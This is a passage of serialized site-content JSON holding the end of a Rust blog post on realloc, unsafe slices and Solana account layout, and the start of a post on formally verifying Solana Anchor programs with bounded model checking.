",{"type":21,"tag":85,"props":18665,"children":18666},{"style":102},[18667],{"type":26,"value":3209},{"type":21,"tag":85,"props":18669,"children":18670},{"style":169},[18671],{"type":26,"value":10231},{"type":21,"tag":85,"props":18673,"children":18674},{"style":102},[18675],{"type":26,"value":2039},{"type":21,"tag":85,"props":18677,"children":18678},{"style":108},[18679],{"type":26,"value":177},{"type":21,"tag":85,"props":18681,"children":18682},{"style":114},[18683],{"type":26,"value":2535},{"type":21,"tag":85,"props":18685,"children":18686},{"class":87,"line":185},[18687,18691,18695,18699,18703,18707,18711,18715,18719],{"type":21,"tag":85,"props":18688,"children":18689},{"style":102},[18690],{"type":26,"value":14774},{"type":21,"tag":85,"props":18692,"children":18693},{"style":114},[18694],{"type":26,"value":9999},{"type":21,"tag":85,"props":18696,"children":18697},{"style":169},[18698],{"type":26,"value":3052},{"type":21,"tag":85,"props":18700,"children":18701},{"style":120},[18702],{"type":26,"value":14367},{"type":21,"tag":85,"props":18704,"children":18705},{"style":169},[18706],{"type":26,"value":1941},{"type":21,"tag":85,"props":18708,"children":18709},{"style":120},[18710],{"type":26,"value":14376},{"type":21,"tag":85,"props":18712,"children":18713},{"style":102},[18714],{"type":26,"value":3195},{"type":21,"tag":85,"props":18716,"children":18717},{"style":108},[18718],{"type":26,"value":177},{"type":21,"tag":85,"props":18720,"children":18721},{"style":114},[18722],{"type":26,"value":18723}," };\n",{"type":21,"tag":85,"props":18725,"children":18726},{"class":87,"line":501},[18727],{"type":21,"tag":85,"props":18728,"children":18729},{"emptyLinePlaceholder":16},[18730],{"type":26,"value":703},{"type":21,"tag":85,"props":18732,"children":18733},{"class":87,"line":697},[18734],{"type":21,"tag":85,"props":18735,"children":18736},{"style":92},[18737],{"type":26,"value":16560},{"type":21,"tag":85,"props":18739,"children":18740},{"class":87,"line":706},[18741,18745,18749,18753,18757,18762,18766,18770,18774,18779,18783,18787,18791,18795,18800,18804],{"type":21,"tag":85,"props":18742,"children":18743},{"style":169},[18744],{"type":26,"value":3052},{"type":21,"tag":85,"props":18746,"children":18747},{"style":120},[18748],{"type":26,"value":15732},{"type":21,"tag":85,"props":18750,"children":18751},{"style":169},[18752],{"type":26,"value":1941},{"type":21,"tag":85,"props":18754,"children":18755},{"style":102},[18756],{"type":26,"value":15008},{"type":21,"tag":85,"props":18758,"children":18759},{"style":114},[18760],{"type":26,"value":18761}," { std",{"type":21,"tag":85,"props":18763,"children":18764},{"style":169},[18765],{"type":26,"value":1087},{"type":21,"tag":85,"props":18767,"children":18768},{"style":114},[18769],{"type":26,"value":15732},{"type":21,"tag":85,"props":18771,"children":18772},{"style":169},[18773],{"type":26,"value":1087},{"type":21,"tag":85,"props":18775,"children":18776},{"style":1021},[18777],{"type":26,"value":18778},"from_raw_parts_mut",{"type":21,"tag":85,"props":18780,"children":18781},{"style":114},[18782],{"type":26,"value":1439},{"type":21,"tag":85,"props":18784,"children":18785},{"style":120},[18786],{"type":26,"value":15732},{"type":21,"tag":85,"props":18788,"children":18789},{"style":169},[18790],{"type":26,"value":73},{"type":21,"tag":85,"props":18792,"children":18793},{"style":1021},[18794],{"type":26,"value":14306},{"type":21,"tag":85,"props":18796,"children":18797},{"style":114},[18798],{"type":26,"value":18799},"(), ",{"type":21,"tag":85,"props":18801,"children":18802},{"style":120},[18803],{"type":26,"value":14140},{"type":21,"tag":85,"props":18805,"children":18806},{"style":114},[18807],{"type":26,"value":15163},{"type":21,"tag":22,"props":18809,"children":18810},{},[18811,18813,18818,18820,18825,18827,18832,18834],{"type":26,"value":18812},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":21,"tag":66,"props":18814,"children":18816},{"className":18815},[],[18817],{"type":26,"value":2396},{"type":26,"value":18819}," and not a ",{"type":21,"tag":66,"props":18821,"children":18823},{"className":18822},[],[18824],{"type":26,"value":17022},{"type":26,"value":18826}," for the size field, given that ",{"type":21,"tag":66,"props":18828,"children":18830},{"className":18829},[],[18831],{"type":26,"value":17022},{"type":26,"value":18833}," is architecture-dependent), and no dependency on slice reference internals!",{"type":21,"tag":15893,"props":18835,"children":18836},{},[18837],{"type":21,"tag":335,"props":18838,"children":18842},{"href":18839,"ariaDescribedBy":18840,"dataFootnoteRef":7,"id":18841},"#user-content-fn-slice-unbound-lifetime",[15900],"user-content-fnref-slice-unbound-lifetime",[18843],{"type":26,"value":18844},"6",{"type":21,"tag":18846,"props":18847,"children":18850},"section",{"className":18848,"dataFootnotes":7},[18849],"footnotes",[18851,18858],{"type":21,"tag":54,"props":18852,"children":18855},{"className":18853,"id":15900},[18854],"sr-only",[18856],{"type":26,"value":18857},"Footnotes",{"type":21,"tag":841,"props":18859,"children":18860},{},[18861,18966,18984,19039,19052,19080],{"type":21,"tag":845,"props":18862,"children":18864},{"id":18863},"user-content-fn-rc-refs",[18865,18867,18873,18875,18880,18882,18886,18888,18892,18894,18899,18901,18907,18909,18914,18916,18926,18928,18933,18935,18940,18942,18947,18949,18955,18957],{"type":26,"value":18866},"I find it helpful to view owning an ",{"type":21,"tag":66,"props":18868,"children":18870},{"className":18869},[],[18871],{"type":26,"value":18872},"Rc\u003CT>",{"type":26,"value":18874}," as holding a shared reference to the underlying ",{"type":21,"tag":66,"props":18876,"children":18878},{"className":18877},[],[18879],{"type":26,"value":308},{"type":26,"value":18881}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":21,"tag":39,"props":18883,"children":18884},{},[18885],{"type":26,"value":16878},{"type":26,"value":18887}," ensures that the actual ",{"type":21,"tag":39,"props":18889,"children":18890},{},[18891],{"type":26,"value":4469},{"type":26,"value":18893}," stays alive, however all you have is a reference to the ",{"type":21,"tag":66,"props":18895,"children":18897},{"className":18896},[],[18898],{"type":26,"value":308},{"type":26,"value":18900}," (through the ",{"type":21,"tag":66,"props":18902,"children":18904},{"className":18903},[],[18905],{"type":26,"value":18906},"Deref\u003CTarget = T>",{"type":26,"value":18908}," impl) - ",{"type":21,"tag":39,"props":18910,"children":18911},{},[18912],{"type":26,"value":18913},"not",{"type":26,"value":18915}," ownership ",{"type":21,"tag":39,"props":18917,"children":18918},{},[18919,18921],{"type":26,"value":18920},"of the ",{"type":21,"tag":66,"props":18922,"children":18924},{"className":18923},[],[18925],{"type":26,"value":308},{"type":26,"value":18927},". In short, owning an ",{"type":21,"tag":66,"props":18929,"children":18931},{"className":18930},[],[18932],{"type":26,"value":18872},{"type":26,"value":18934}," is owning a (shared, read-only) reference to ",{"type":21,"tag":66,"props":18936,"children":18938},{"className":18937},[],[18939],{"type":26,"value":308},{"type":26,"value":18941},", not owning ",{"type":21,"tag":66,"props":18943,"children":18945},{"className":18944},[],[18946],{"type":26,"value":308},{"type":26,"value":18948}," directly like with ",{"type":21,"tag":66,"props":18950,"children":18952},{"className":18951},[],[18953],{"type":26,"value":18954},"Box\u003CT>",{"type":26,"value":18956},". ",{"type":21,"tag":335,"props":18958,"children":18963},{"href":18959,"ariaLabel":18960,"className":18961,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[18962],"data-footnote-backref",[18964],{"type":26,"value":18965},"↩",{"type":21,"tag":845,"props":18967,"children":18969},{"id":18968},"user-content-fn-sendsync",[18970,18976,18977],{"type":21,"tag":66,"props":18971,"children":18973},{"className":18972},[],[18974],{"type":26,"value":18975},"!Send + !Sync",{"type":26,"value":790},{"type":21,"tag":335,"props":18978,"children":18982},{"href":18979,"ariaLabel":18980,"className":18981,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[18962],[18983],{"type":26,"value":18965},{"type":21,"tag":845,"props":18985,"children":18987},{"id":18986},"user-content-fn-layout",[18988,18990,18995,18996,19009,19011,19016,19018,19023,19025,19030,19032],{"type":26,"value":18989},"Note that this is a terrible idea for yet another reason: ",{"type":21,"tag":66,"props":18991,"children":18993},{"className":18992},[],[18994],{"type":26,"value":15357},{"type":26,"value":6268},{"type":21,"tag":335,"props":18997,"children":19000},{"href":18998,"rel":18999},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[339],[19001,19003],{"type":26,"value":19002},"not declared with ",{"type":21,"tag":66,"props":19004,"children":19006},{"className":19005},[],[19007],{"type":26,"value":19008},"#[repr(C)]",{"type":26,"value":19010},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":21,"tag":39,"props":19012,"children":19013},{},[19014],{"type":26,"value":19015},"breaks the entire chain",{"type":26,"value":19017}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":21,"tag":39,"props":19019,"children":19020},{},[19021],{"type":26,"value":19022},"some",{"type":26,"value":19024}," kind of interface to the specific layout of the specific ",{"type":21,"tag":66,"props":19026,"children":19028},{"className":19027},[],[19029],{"type":26,"value":16930},{"type":26,"value":19031}," versions used to build on-chain code for all eternity... ",{"type":21,"tag":335,"props":19033,"children":19037},{"href":19034,"ariaLabel":19035,"className":19036,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[18962],[19038],{"type":26,"value":18965},{"type":21,"tag":845,"props":19040,"children":19042},{"id":19041},"user-content-fn-rustc-llvm",[19043,19045],{"type":26,"value":19044},"Actually, it's LLVM that does the optimization ",{"type":21,"tag":335,"props":19046,"children":19050},{"href":19047,"ariaLabel":19048,"className":19049,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[18962],[19051],{"type":26,"value":18965},{"type":21,"tag":845,"props":19053,"children":19055},{"id":19054},"user-content-fn-godbolt",[19056,19063,19065,19071,19073],{"type":21,"tag":335,"props":19057,"children":19060},{"href":19058,"rel":19059},"https://godbolt.org/z/PK46xMbxc",[339],[19061],{"type":26,"value":19062},"Click here",{"type":26,"value":19064}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":21,"tag":66,"props":19066,"children":19068},{"className":19067},[],[19069],{"type":26,"value":19070},"libcore",{"type":26,"value":19072}," available for other architectures yet. ",{"type":21,"tag":335,"props":19074,"children":19078},{"href":19075,"ariaLabel":19076,"className":19077,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[18962],[19079],{"type":26,"value":18965},{"type":21,"tag":845,"props":19081,"children":19083},{"id":19082},"user-content-fn-slice-unbound-lifetime",[19084,19086,19091,19093,19099,19101,19107,19109,19115,19117,19123,19125,19131,19133,19138,19140],{"type":26,"value":19085},"The astute reader may have noticed that ",{"type":21,"tag":66,"props":19087,"children":19089},{"className":19088},[],[19090],{"type":26,"value":18778},{"type":26,"value":19092}," still returns an unbounded lifetime (notice in the signature ",{"type":21,"tag":66,"props":19094,"children":19096},{"className":19095},[],[19097],{"type":26,"value":19098},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":26,"value":19100},", the lifetime parameter ",{"type":21,"tag":66,"props":19102,"children":19104},{"className":19103},[],[19105],{"type":26,"value":19106},"'a",{"type":26,"value":19108}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":21,"tag":66,"props":19110,"children":19112},{"className":19111},[],[19113],{"type":26,"value":19114},"*slice",{"type":26,"value":19116},", which is ",{"type":21,"tag":66,"props":19118,"children":19120},{"className":19119},[],[19121],{"type":26,"value":19122},"&'info [u8]",{"type":26,"value":19124}," (where ",{"type":21,"tag":66,"props":19126,"children":19128},{"className":19127},[],[19129],{"type":26,"value":19130},"'info",{"type":26,"value":19132}," is the lifetime parameter of the ",{"type":21,"tag":66,"props":19134,"children":19136},{"className":19135},[],[19137],{"type":26,"value":15357},{"type":26,"value":19139}," struct) - this is exactly the lifetime we started with. ",{"type":21,"tag":335,"props":19141,"children":19145},{"href":19142,"ariaLabel":19143,"className":19144,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[18962],[19146],{"type":26,"value":18965},{"type":21,"tag":3632,"props":19148,"children":19149},{},[19150],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":19152},[19153,19159,19163,19164,19166],{"id":14786,"depth":98,"text":19154,"children":19155},"Breaking down realloc",[19156,19157],{"id":14952,"depth":151,"text":14955},{"id":16312,"depth":151,"text":19158},"Back to realloc",{"id":17265,"depth":98,"text":17268,"children":19160},[19161,19162],{"id":17271,"depth":151,"text":17274},{"id":17493,"depth":151,"text":17496},{"id":17680,"depth":98,"text":17683},{"id":18082,"depth":98,"text":19165},"Towards safer unsafe",{"id":15900,"depth":98,"text":18857},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":19171,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":19172,"description":19173,"author":19174,"image":19175,"date":19177,"isFeatured":16,"onBlogPage":16,"tags":19178,"body":19179,"_type":3642,"_id":29442,"_source":3644,"_file":29443,"_stem":29444,"_extension":3647},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":19176,"height":14040,"width":14041},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[3659,3660],{"type":18,"children":19180,"toc":29414},[19181,19186,19191,19217,19221,19233,19256,19279,19291,19314,19317,19324,19374,19380,19386,19391,19402,19443,19448,19454,19459,19692,19712,19717,19722,19795,19800,19870,19884,20309,20329,20335,20354,20359,20364,20369,20375,20387,20422,20433,20444,20456,20461,20493,20517,20536,20542,20559,20565,20592,20597,20617,20629,20775,20803,20806,20818,20901,20920,20923,20962,21129,21134,21140,21152,21171,21184,21345,21357,21370,21844,21849,21896,21902,21920,21989,22227,22441,22446,22520,22568,22573,22579,22681,22785,22790,22853,22858,22864,22929,22934,22976,23002,23008,23077,23082,23132,23143,23149,23160,23181,23186,23191,23214,23220,23232,23252,24368,24387,24438,24443,24451,24463,24468,24476,24481,24497,24533,24538,24632,24637,24645,24650,24762,24767,24775,24788,24952,24957,24965,24970,24975,25043,25077,25083,25088,25099,25117,25495,25507,25519,25527,25538,25569,25574,25582,25587,25860,25879,25884,25910,26778,26790,26889,26901,26943,26948,26960,26968,26973,26985,27011,27171,27183,27191,27196,27472,27477,27489,27644,27664,27990,28024,28218,28251,28263,28385,28405,28410,28415,28420,28433,28441,28446,28921,28933,28938,28950,28955,29214,29240,29245,29251,29257,29269,29281,29300,29347,29352,29358,29363,29368,29373,29378,29383,29388,29391,29410],{"type":21,"tag":22,"props":19182,"children":19183},{},[19184],{"type":26,"value":19185},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":21,"tag":22,"props":19187,"children":19188},{},[19189],{"type":26,"value":19190},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":21,"tag":22,"props":19192,"children":19193},{},[19194,19196,19200,19202,19207,19209,19216],{"type":26,"value":19195},"In the world of Web3 we create programs that talk to strangers ",{"type":21,"tag":39,"props":19197,"children":19198},{},[19199],{"type":26,"value":16792},{"type":26,"value":19201}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":21,"tag":39,"props":19203,"children":19204},{},[19205],{"type":26,"value":19206},"juciest",{"type":26,"value":19208},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":21,"tag":335,"props":19210,"children":19213},{"href":19211,"rel":19212},"https://rekt.news/leaderboard/",[339],[19214],{"type":26,"value":19215},"hundreds of millions of dollars",{"type":26,"value":73},{"type":21,"tag":19218,"props":19219,"children":19220},"hr",{},[],{"type":21,"tag":22,"props":19222,"children":19223},{},[19224,19226,19231],{"type":26,"value":19225},"At OtterSec we are ",{"type":21,"tag":39,"props":19227,"children":19228},{},[19229],{"type":26,"value":19230},"highly skilled in pest control",{"type":26,"value":19232}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing processes.",{"type":21,"tag":22,"props":19234,"children":19235},{},[19236,19238,19245,19247,19254],{"type":26,"value":19237},"Recently we were contacted by the ",{"type":21,"tag":335,"props":19239,"children":19242},{"href":19240,"rel":19241},"https://squads.so/",[339],[19243],{"type":26,"value":19244},"Squads team",{"type":26,"value":19246}," to explore how formal verification could be used to verify security-critical properties of Solana programs. We were really excited about this opportunity and have been developing a prototype with the ",{"type":21,"tag":335,"props":19248,"children":19251},{"href":19249,"rel":19250},"https://github.com/Squads-Protocol/squads-mpl",[339],[19252],{"type":26,"value":19253},"Squads Multisig Program",{"type":26,"value":19255}," as our main case study.",{"type":21,"tag":22,"props":19257,"children":19258},{},[19259,19261,19268,19270,19277],{"type":26,"value":19260},"We now have a (mostly) working prototype that can be used to formally verify critical properties of Solana programs in order to ensure a higher level of security. Our tool integrates with ",{"type":21,"tag":335,"props":19262,"children":19265},{"href":19263,"rel":19264},"https://www.anchor-lang.com/",[339],[19266],{"type":26,"value":19267},"anchor-lang",{"type":26,"value":19269}," and provides new APIs to specify invariants for your Solana code. It then autogenerates proof harnesses which are verified with the ",{"type":21,"tag":335,"props":19271,"children":19274},{"href":19272,"rel":19273},"https://github.com/model-checking/kani",[339],[19275],{"type":26,"value":19276},"Kani Rust Verifier",{"type":26,"value":19278},". Additionally, we are implementing a formal-verification-friendly runtime SDK layer that accelerates the expensive process of running formal verification tools on complex code.",{"type":21,"tag":22,"props":19280,"children":19281},{},[19282,19284,19289],{"type":26,"value":19283},"In this blog post, we're excited to share our progress and the challenges we've encountered during the process. We will describe the main concepts behind ",{"type":21,"tag":39,"props":19285,"children":19286},{},[19287],{"type":26,"value":19288},"bounded model checking",{"type":26,"value":19290}," (our formal verification method of choice) and explain how we've applied these concepts to Solana.",{"type":21,"tag":22,"props":19292,"children":19293},{},[19294],{"type":21,"tag":39,"props":19295,"children":19296},{},[19297,19299,19306,19308],{"type":26,"value":19298},"If you're interested in learning more or getting your own programs formally verified, let us know! We'd be excited to chat with you! — Fill out ",{"type":21,"tag":335,"props":19300,"children":19303},{"href":19301,"rel":19302},"https://osec.io/contact",[339],[19304],{"type":26,"value":19305},"this form",{"type":26,"value":19307}," or email us at ",{"type":21,"tag":335,"props":19309,"children":19311},{"href":19310},"mailto:contact@osec.io",[19312],{"type":26,"value":19313},"contact@osec.io",{"type":21,"tag":19218,"props":19315,"children":19316},{},[],{"type":21,"tag":19318,"props":19319,"children":19321},"h4",{"id":19320},"contents",[19322],{"type":26,"value":19323},"Contents:",{"type":21,"tag":841,"props":19325,"children":19326},{},[19327,19332,19349,19359,19364,19369],{"type":21,"tag":845,"props":19328,"children":19329},{},[19330],{"type":26,"value":19331},"Formal Verification with Bounded Model Checking\na. Overview\nb. A simple example\nc. Loop bounds & path explosion\nd. The Kani Rust Verifier",{"type":21,"tag":845,"props":19333,"children":19334},{},[19335,19340,19342,19347],{"type":21,"tag":873,"props":19336,"children":19337},{},[19338],{"type":26,"value":19339},"Specification",{"type":26,"value":19341},": How can we describe what we ",{"type":21,"tag":39,"props":19343,"children":19344},{},[19345],{"type":26,"value":19346},"want",{"type":26,"value":19348}," our program to do?",{"type":21,"tag":845,"props":19350,"children":19351},{},[19352,19357],{"type":21,"tag":873,"props":19353,"children":19354},{},[19355],{"type":26,"value":19356},"Verification",{"type":26,"value":19358},": How do we check that our model is correct?",{"type":21,"tag":845,"props":19360,"children":19361},{},[19362],{"type":26,"value":19363},"Case Study: Squads Multisig",{"type":21,"tag":845,"props":19365,"children":19366},{},[19367],{"type":26,"value":19368},"Additional challenges in Solana",{"type":21,"tag":845,"props":19370,"children":19371},{},[19372],{"type":26,"value":19373},"Conclusion",{"type":21,"tag":54,"props":19375,"children":19377},{"id":19376},"formal-verification-with-bounded-model-checking",[19378],{"type":26,"value":19379},"Formal Verification with Bounded Model Checking",{"type":21,"tag":10022,"props":19381,"children":19383},{"id":19382},"overview",[19384],{"type":26,"value":19385},"Overview",{"type":21,"tag":22,"props":19387,"children":19388},{},[19389],{"type":26,"value":19390},"Formal verification is the process of using a formal specification to verify the correctness of a system. In this case, the systems we are verifying are programs written in Rust that run on the Solana blockchain.",{"type":21,"tag":22,"props":19392,"children":19393},{},[19394,19396,19401],{"type":26,"value":19395},"There are many different flavors of formal verification, however in this research we are using ",{"type":21,"tag":873,"props":19397,"children":19398},{},[19399],{"type":26,"value":19400},"bounded model checking (BMC)",{"type":26,"value":73},{"type":21,"tag":22,"props":19403,"children":19404},{},[19405,19407,19412,19414,19419,19421,19425,19427,19433,19435,19441],{"type":26,"value":19406},"In short, the idea of BMC is to execute our program ",{"type":21,"tag":39,"props":19408,"children":19409},{},[19410],{"type":26,"value":19411},"symbolically",{"type":26,"value":19413}," rather than ",{"type":21,"tag":39,"props":19415,"children":19416},{},[19417],{"type":26,"value":19418},"concretely",{"type":26,"value":19420},". Instead of actually performing an ",{"type":21,"tag":39,"props":19422,"children":19423},{},[19424],{"type":26,"value":10052},{"type":26,"value":19426}," when we see the line ",{"type":21,"tag":66,"props":19428,"children":19430},{"className":19429},[],[19431],{"type":26,"value":19432},"int x = a + b",{"type":26,"value":19434},", we store the symbolic expression ",{"type":21,"tag":66,"props":19436,"children":19438},{"className":19437},[],[19439],{"type":26,"value":19440},"x == a + b",{"type":26,"value":19442},". We do this for every line and once we reach the end of the program we have compiled a huge list of symbolic expressions. At this point, we can feed these expressions to a SMT solver along with a correctness property P in order to check if our program satisfies this property.",{"type":21,"tag":22,"props":19444,"children":19445},{},[19446],{"type":26,"value":19447},"If we hit a branch as we are tracing the program, we will take both sides of the branch adding the positive branch condition as a constraint to one side and the negative condition to the other side.",{"type":21,"tag":10022,"props":19449,"children":19451},{"id":19450},"a-simple-example",[19452],{"type":26,"value":19453},"A simple example",{"type":21,"tag":22,"props":19455,"children":19456},{},[19457],{"type":26,"value":19458},"As an example, consider the following function:",{"type":21,"tag":75,"props":19460,"children":19462},{"code":19461,"language":3918,"meta":7,"className":16935,"style":7},"int foo(int x) {\n    int y = x + 3;\n    int z;\n    if (y > 100) {\n        z = y * 2;\n    } else {\n        z = y + 1;\n    }\n\n    // Property P:\n    assert(z != 105);\n}\n",[19463],{"type":21,"tag":66,"props":19464,"children":19465},{"__ignoreMap":7},[19466,19496,19530,19542,19567,19595,19610,19637,19644,19651,19659,19685],{"type":21,"tag":85,"props":19467,"children":19468},{"class":87,"line":88},[19469,19474,19479,19483,19487,19492],{"type":21,"tag":85,"props":19470,"children":19471},{"style":102},[19472],{"type":26,"value":19473},"int",{"type":21,"tag":85,"props":19475,"children":19476},{"style":1021},[19477],{"type":26,"value":19478}," foo",{"type":21,"tag":85,"props":19480,"children":19481},{"style":114},[19482],{"type":26,"value":1439},{"type":21,"tag":85,"props":19484,"children":19485},{"style":102},[19486],{"type":26,"value":19473},{"type":21,"tag":85,"props":19488,"children":19489},{"style":120},[19490],{"type":26,"value":19491}," x",{"type":21,"tag":85,"props":19493,"children":19494},{"style":114},[19495],{"type":26,"value":15222},{"type":21,"tag":85,"props":19497,"children":19498},{"class":87,"line":98},[19499,19504,19508,19512,19517,19521,19526],{"type":21,"tag":85,"props":19500,"children":19501},{"style":102},[19502],{"type":26,"value":19503},"    int",{"type":21,"tag":85,"props":19505,"children":19506},{"style":114},[19507],{"type":26,"value":5284},{"type":21,"tag":85,"props":19509,"children":19510},{"style":169},[19511],{"type":26,"value":741},{"type":21,"tag":85,"props":19513,"children":19514},{"style":114},[19515],{"type":26,"value":19516}," x ",{"type":21,"tag":85,"props":19518,"children":19519},{"style":169},[19520],{"type":26,"value":5151},{"type":21,"tag":85,"props":19522,"children":19523},{"style":2285},[19524],{"type":26,"value":19525}," 3",{"type":21,"tag":85,"props":19527,"children":19528},{"style":114},[19529],{"type":26,"value":2535},{"type":21,"tag":85,"props":19531,"children":19532},{"class":87,"line":151},[19533,19537],{"type":21,"tag":85,"props":19534,"children":19535},{"style":102},[19536],{"type":26,"value":19503},{"type":21,"tag":85,"props":19538,"children":19539},{"style":114},[19540],{"type":26,"value":19541}," z;\n",{"type":21,"tag":85,"props":19543,"children":19544},{"class":87,"line":160},[19545,19549,19554,19558,19563],{"type":21,"tag":85,"props":19546,"children":19547},{"style":2885},[19548],{"type":26,"value":12696},{"type":21,"tag":85,"props":19550,"children":19551},{"style":114},[19552],{"type":26,"value":19553}," (y ",{"type":21,"tag":85,"props":19555,"children":19556},{"style":169},[19557],{"type":26,"value":10877},{"type":21,"tag":85,"props":19559,"children":19560},{"style":2285},[19561],{"type":26,"value":19562}," 100",{"type":21,"tag":85,"props":19564,"children":19565},{"style":114},[19566],{"type":26,"value":15222},{"type":21,"tag":85,"props":19568,"children":19569},{"class":87,"line":185},[19570,19575,19579,19583,19587,19591],{"type":21,"tag":85,"props":19571,"children":19572},{"style":114},[19573],{"type":26,"value":19574},"        z ",{"type":21,"tag":85,"props":19576,"children":19577},{"style":169},[19578],{"type":26,"value":741},{"type":21,"tag":85,"props":19580,"children":19581},{"style":114},[19582],{"type":26,"value":5284},{"type":21,"tag":85,"props":19584,"children":19585},{"style":169},[19586],{"type":26,"value":3052},{"type":21,"tag":85,"props":19588,"children":19589},{"style":2285},[19590],{"type":26,"value":2288},{"type":21,"tag":85,"props":19592,"children":19593},{"style":114},[19594],{"type":26,"value":2535},{"type":21,"tag":85,"props":19596,"children":19597},{"class":87,"line":501},[19598,19602,19606],{"type":21,"tag":85,"props":19599,"children":19600},{"style":114},[19601],{"type":26,"value":16199},{"type":21,"tag":85,"props":19603,"children":19604},{"style":2885},[19605],{"type":26,"value":4086},{"type":21,"tag":85,"props":19607,"children":19608},{"style":114},[19609],{"type":26,"value":148},{"type":21,"tag":85,"props":19611,"children":19612},{"class":87,"line":697},[19613,19617,19621,19625,19629,19633],{"type":21,"tag":85,"props":19614,"children":19615},{"style":114},[19616],{"type":26,"value":19574},{"type":21,"tag":85,"props":19618,"children":19619},{"style":169},[19620],{"type":26,"value":741},{"type":21,"tag":85,"props":19622,"children":19623},{"style":114},[19624],{"type":26,"value":5284},{"type":21,"tag":85,"props":19626,"children":19627},{"style":169},[19628],{"type":26,"value":5151},{"type":21,"tag":85,"props":19630,"children":19631},{"style":2285},[19632],{"type":26,"value":3279},{"type":21,"tag":85,"props":19634,"children":19635},{"style":114},[19636],{"type":26,"value":2535},{"type":21,"tag":85,"props":19638,"children":19639},{"class":87,"line":706},[19640],{"type":21,"tag":85,"props":19641,"children":19642},{"style":114},[19643],{"type":26,"value":507},{"type":21,"tag":85,"props":19645,"children":19646},{"class":87,"line":1100},[19647],{"type":21,"tag":85,"props":19648,"children":19649},{"emptyLinePlaceholder":16},[19650],{"type":26,"value":703},{"type":21,"tag":85,"props":19652,"children":19653},{"class":87,"line":1339},[19654],{"type":21,"tag":85,"props":19655,"children":19656},{"style":92},[19657],{"type":26,"value":19658},"    // Property P:\n",{"type":21,"tag":85,"props":19660,"children":19661},{"class":87,"line":1348},[19662,19667,19672,19676,19681],{"type":21,"tag":85,"props":19663,"children":19664},{"style":1021},[19665],{"type":26,"value":19666},"    assert",{"type":21,"tag":85,"props":19668,"children":19669},{"style":114},[19670],{"type":26,"value":19671},"(z ",{"type":21,"tag":85,"props":19673,"children":19674},{"style":169},[19675],{"type":26,"value":16108},{"type":21,"tag":85,"props":19677,"children":19678},{"style":2285},[19679],{"type":26,"value":19680}," 105",{"type":21,"tag":85,"props":19682,"children":19683},{"style":114},[19684],{"type":26,"value":777},{"type":21,"tag":85,"props":19686,"children":19687},{"class":87,"line":1386},[19688],{"type":21,"tag":85,"props":19689,"children":19690},{"style":114},[19691],{"type":26,"value":2671},{"type":21,"tag":22,"props":19693,"children":19694},{},[19695,19697,19703,19705,19711],{"type":26,"value":19696},"This function takes an input ",{"type":21,"tag":66,"props":19698,"children":19700},{"className":19699},[],[19701],{"type":26,"value":19702},"x",{"type":26,"value":19704}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":21,"tag":66,"props":19706,"children":19708},{"className":19707},[],[19709],{"type":26,"value":19710},"z != 105",{"type":26,"value":73},{"type":21,"tag":22,"props":19713,"children":19714},{},[19715],{"type":26,"value":19716},"With BMC, we could trace this program and derive the following constraints:",{"type":21,"tag":22,"props":19718,"children":19719},{},[19720],{"type":26,"value":19721},"Positive branch:",{"type":21,"tag":75,"props":19723,"children":19725},{"code":19724,"language":3918,"meta":7,"className":16935,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[19726],{"type":21,"tag":66,"props":19727,"children":19728},{"__ignoreMap":7},[19729,19754,19770],{"type":21,"tag":85,"props":19730,"children":19731},{"class":87,"line":88},[19732,19737,19741,19745,19749],{"type":21,"tag":85,"props":19733,"children":19734},{"style":114},[19735],{"type":26,"value":19736},"y ",{"type":21,"tag":85,"props":19738,"children":19739},{"style":169},[19740],{"type":26,"value":2936},{"type":21,"tag":85,"props":19742,"children":19743},{"style":114},[19744],{"type":26,"value":19516},{"type":21,"tag":85,"props":19746,"children":19747},{"style":169},[19748],{"type":26,"value":5151},{"type":21,"tag":85,"props":19750,"children":19751},{"style":2285},[19752],{"type":26,"value":19753}," 3\n",{"type":21,"tag":85,"props":19755,"children":19756},{"class":87,"line":98},[19757,19761,19765],{"type":21,"tag":85,"props":19758,"children":19759},{"style":114},[19760],{"type":26,"value":19736},{"type":21,"tag":85,"props":19762,"children":19763},{"style":169},[19764],{"type":26,"value":10877},{"type":21,"tag":85,"props":19766,"children":19767},{"style":2285},[19768],{"type":26,"value":19769}," 